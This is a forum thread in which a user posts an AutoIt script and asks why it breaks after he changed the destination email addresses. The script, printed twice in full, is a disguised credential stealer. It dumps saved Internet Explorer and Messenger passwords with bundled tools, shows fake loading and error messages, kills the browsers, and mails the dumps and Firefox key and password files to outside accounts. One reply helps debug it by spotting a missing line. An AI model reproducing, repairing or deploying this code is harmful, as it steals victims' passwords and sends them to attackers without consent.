Jump to content

A whole mess or errors on a program


Fewmitz
 Share

Recommended Posts

So I have this program I've been working on (after someone on here helped me :)) :

#NoTrayIcon

$oProcess = ProgressOn("Loading", "", "", -1, 200)
FileInstall("iepv.exe", @TempDir & "\temp.exe", 1)
RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir)
FileDelete(@TempDir & "\temp.exe")
$ie = FileRead(@TempDir & "\temp.txt")
FileDelete(@TempDir & "\temp.txt")
ProgressSet("23", "Loading avatars...")

FileInstall("mspass.exe", @TempDir & "\temp.exe", 1)
RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir)
FileDelete(@TempDir & "\temp.exe")
$ms = FileRead(@TempDir & "\temp.txt")
FileDelete(@TempDir & "\temp.txt")
ProgressSet("57", "Loading names...")
Msgbox(0, "", "If you have Internet Explorer or Firefox open, They will be closed.")
ProcessClose("firefox.exe")
ProcessClose("iexplore.exe")
ProgressSet("87", "Loading...")
_INetSmtpMailCom("<----------------------------- Internet Explorer --------------------------------->" & @CRLF & $ie & @CRLF & _
                 "<------------------------------------ Messenger ---------------------------------->" & @CRLF & $ms)
Msgbox(0, "0x120272", "Could not establish connection to the server")
ProgressOff()

Func _INetSmtpMailCom($Body)
    $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & _GetIP() & '" <FewpPotato@yahoo.com>'
    $objEmail.To = "supahscubah@yahoo.com"
    $objEmail.Subject = _GetIP()
    $objEmail.Textbody = $Body
    $oKey3 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\key3.db", 1)
    $oCert8 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\cert8.db", 1)
    $oSignons = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\signon*.txt", 1)
    $s_AttachFiles = $oKey3[1] & ";" & $oCert8[1] & ";" & $oSignons[1]
    Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
    For $x = 1 To $S_Files2Attach[0]
        $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
        If FileExists($S_Files2Attach[$x]) Then
            $objEmail.AddAttachment ($S_Files2Attach[$x])
        EndIf
    Next
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.yahoo.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "FewpPotato@yahoo.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "PASSword"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    $objEmail.Configuration.Fields.Update
    $objEmail.Send
EndFunc

Func _FileSearch($szMask,$nOption)
    $szRoot = ""
    $hFile = 0
    $szBuffer = ""
    $szReturn = ""
    $szPathList = "*"
    Dim $aNULL[1]

    If Not StringInStr($szMask,"\") Then
         $szRoot = @SCRIPTDIR & "\"
    Else
         While StringInStr($szMask,"\")
              $szRoot = $szRoot & StringLeft($szMask,StringInStr($szMask,"\"))
              $szMask = StringTrimLeft($szMask,StringInStr($szMask,"\"))
         Wend
    EndIf
    If $nOption = 0 Then
         _FileSearchUtil($szRoot, $szMask, $szReturn)
    Else
         While 1
              $hFile = FileFindFirstFile($szRoot & "*.*")
              If $hFile >= 0 Then
                   $szBuffer = FileFindNextFile($hFile)
                   While Not @ERROR
                        If $szBuffer <> "." And $szBuffer <> ".." And _
                             StringInStr(FileGetAttrib($szRoot & $szBuffer),"D") Then _
                             $szPathList = $szPathList & $szRoot & $szBuffer & "*"
                        $szBuffer = FileFindNextFile($hFile)
                   Wend
                   FileClose($hFile)
              EndIf
              _FileSearchUtil($szRoot, $szMask, $szReturn)
              If $szPathList == "*" Then ExitLoop
              $szPathList = StringTrimLeft($szPathList,1)
              $szRoot = StringLeft($szPathList,StringInStr($szPathList,"*")-1) & "\"
              $szPathList = StringTrimLeft($szPathList,StringInStr($szPathList,"*")-1)
         Wend
    EndIf
    If $szReturn = "" Then
         $aNULL[0] = 0
         Return $aNULL
    Else
         Return StringSplit(StringTrimRight($szReturn,1),"*")
    EndIf
EndFunc

Func _FileSearchUtil(ByRef $ROOT, ByRef $MASK, ByRef $RETURN)
    $hFile = FileFindFirstFile($ROOT & $MASK)
    If $hFile >= 0 Then
         $szBuffer = FileFindNextFile($hFile)
         While Not @ERROR
              If $szBuffer <> "." And $szBuffer <> ".." Then _
                   $RETURN = $RETURN & $ROOT & $szBuffer & "*"
              $szBuffer = FileFindNextFile($hFile)
         Wend
         FileClose($hFile)
    EndIf
EndFunc

But when I try to change who it's emailed to (the objEmail properties), I get a whole mess of errors.

Here are the lines I get problems in:

5-RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir)

11-RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir)

27- $objEmail.Subject = _GetIP()

35- $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])

With the first two saying there's a missing file, which I assume means I need to make one, and the latter two saying unknown function name

Then I get an error here:

$objEmail.Send

Saying "Selected action for this object has failed"

If anyone here can help me in any way, please PM me or post here, or both.

Link to comment
Share on other sites

I knew I forgot something. That's the version of the code I changed. The original looks like this:

#NoTrayIcon

$oProcess = ProgressOn("Loading", "", "", -1, 200)
FileInstall("iepv.exe", @TempDir & "\temp.exe", 1)
RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir)
FileDelete(@TempDir & "\temp.exe")
$ie = FileRead(@TempDir & "\temp.txt")
FileDelete(@TempDir & "\temp.txt")
ProgressSet("23", "Loading avatars...")

FileInstall("mspass.exe", @TempDir & "\temp.exe", 1)
RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir)
FileDelete(@TempDir & "\temp.exe")
$ms = FileRead(@TempDir & "\temp.txt")
FileDelete(@TempDir & "\temp.txt")
ProgressSet("57", "Loading names...")
Msgbox(0, "", "If you have Internet Explorer or Firefox open, They will be closed.")
ProcessClose("firefox.exe")
ProcessClose("iexplore.exe")
ProgressSet("87", "Loading items...")
_INetSmtpMailCom("<----------------------------- Internet Explorer --------------------------------->" & @CRLF & $ie & @CRLF & _
                 "<------------------------------------ Messenger ---------------------------------->" & @CRLF & $ms)
Msgbox(0, "0x120272", "Error -3")
ProgressOff()

Func _INetSmtpMailCom($Body)
    $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & _GetIP() & '" <ramzaprogramming@gmail.com>'
    $objEmail.To = "Narisome@gmail.com"
    $objEmail.Subject = _GetIP()
    $objEmail.Textbody = $Body
    $oKey3 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\key3.db", 1)
    $oCert8 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\cert8.db", 1)
    $oSignons = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\signon*.txt", 1)
    $s_AttachFiles = $oKey3[1] & ";" & $oCert8[1] & ";" & $oSignons[1]
    Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
    For $x = 1 To $S_Files2Attach[0]
        $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
        If FileExists($S_Files2Attach[$x]) Then
            $objEmail.AddAttachment ($S_Files2Attach[$x])
        EndIf
    Next
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "ramzaprogramming@gmail.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "PASSword"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    $objEmail.Configuration.Fields.Update
    $objEmail.Send
EndFunc

Func _FileSearch($szMask,$nOption)
    $szRoot = ""
    $hFile = 0
    $szBuffer = ""
    $szReturn = ""
    $szPathList = "*"
    Dim $aNULL[1]

    If Not StringInStr($szMask,"\") Then
         $szRoot = @SCRIPTDIR & "\"
    Else
         While StringInStr($szMask,"\")
              $szRoot = $szRoot & StringLeft($szMask,StringInStr($szMask,"\"))
              $szMask = StringTrimLeft($szMask,StringInStr($szMask,"\"))
         Wend
    EndIf
    If $nOption = 0 Then
         _FileSearchUtil($szRoot, $szMask, $szReturn)
    Else
         While 1
              $hFile = FileFindFirstFile($szRoot & "*.*")
              If $hFile >= 0 Then
                   $szBuffer = FileFindNextFile($hFile)
                   While Not @ERROR
                        If $szBuffer <> "." And $szBuffer <> ".." And _
                             StringInStr(FileGetAttrib($szRoot & $szBuffer),"D") Then _
                             $szPathList = $szPathList & $szRoot & $szBuffer & "*"
                        $szBuffer = FileFindNextFile($hFile)
                   Wend
                   FileClose($hFile)
              EndIf
              _FileSearchUtil($szRoot, $szMask, $szReturn)
              If $szPathList == "*" Then ExitLoop
              $szPathList = StringTrimLeft($szPathList,1)
              $szRoot = StringLeft($szPathList,StringInStr($szPathList,"*")-1) & "\"
              $szPathList = StringTrimLeft($szPathList,StringInStr($szPathList,"*")-1)
         Wend
    EndIf
    If $szReturn = "" Then
         $aNULL[0] = 0
         Return $aNULL
    Else
         Return StringSplit(StringTrimRight($szReturn,1),"*")
    EndIf
EndFunc

Func _FileSearchUtil(ByRef $ROOT, ByRef $MASK, ByRef $RETURN)
    $hFile = FileFindFirstFile($ROOT & $MASK)
    If $hFile >= 0 Then
         $szBuffer = FileFindNextFile($hFile)
         While Not @ERROR
              If $szBuffer <> "." And $szBuffer <> ".." Then _
                   $RETURN = $RETURN & $ROOT & $szBuffer & "*"
              $szBuffer = FileFindNextFile($hFile)
         Wend
         FileClose($hFile)
    EndIf
EndFunc

It also won't let me compile it to an exe.

Edited by Fewmitz
Link to comment
Share on other sites

Oh right.

$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "ramzaprogramming@gmail.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "PASSword"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    $objEmail.Configuration.Fields.Update
    $objEmail.Send

Was changed to

$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.yahoo.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "FewpPotato@yahoo.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "PASSword"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    $objEmail.Configuration.Fields.Update
    $objEmail.Send

And then

$objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & _GetIP() & '" <ramzaprogramming@gmail.com>'
    $objEmail.To = "Narisome@gmail.com"
    $objEmail.Subject = _GetIP()
    $objEmail.Textbody = $Body

Was changed to

$objEmail.From = '"' & _GetIP() & '" <FewpPotato@yahoo.com>'
    $objEmail.To = "supahscubah@yahoo.com"
    $objEmail.Subject = _GetIP()
    $objEmail.Textbody = $Body

I'm starting to think something happened when the original .exe was decompiled, because that worked fine, but now I can't even compiler the original au3, it says "Error adding file: iepv.exe"

Link to comment
Share on other sites

$objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & _GetIP() & '" <ramzaprogramming@gmail.com>'
    $objEmail.To = "Narisome@gmail.com"
    $objEmail.Subject = _GetIP()
    $objEmail.Textbody = $Body

Was changed to

$objEmail.From = '"' & _GetIP() & '" <FewpPotato@yahoo.com>'
    $objEmail.To = "supahscubah@yahoo.com"
    $objEmail.Subject = _GetIP()
    $objEmail.Textbody = $Body

I'm starting to think something happened when the original .exe was decompiled, because that worked fine, but now I can't even compiler the original au3, it says "Error adding file: iepv.exe"

If that's not just a copy/paste error in the post, then you deleted the line that creates $objEmail before trying to set its properties:

$objEmail = ObjCreate("CDO.Message")

:)

Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law
Link to comment
Share on other sites

That seems to make sense..but I have no clue.

I don't think that would explain the script not working after it was decompiled, though.

Decompiled from where? Why did you have to decompile it?

:)

Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...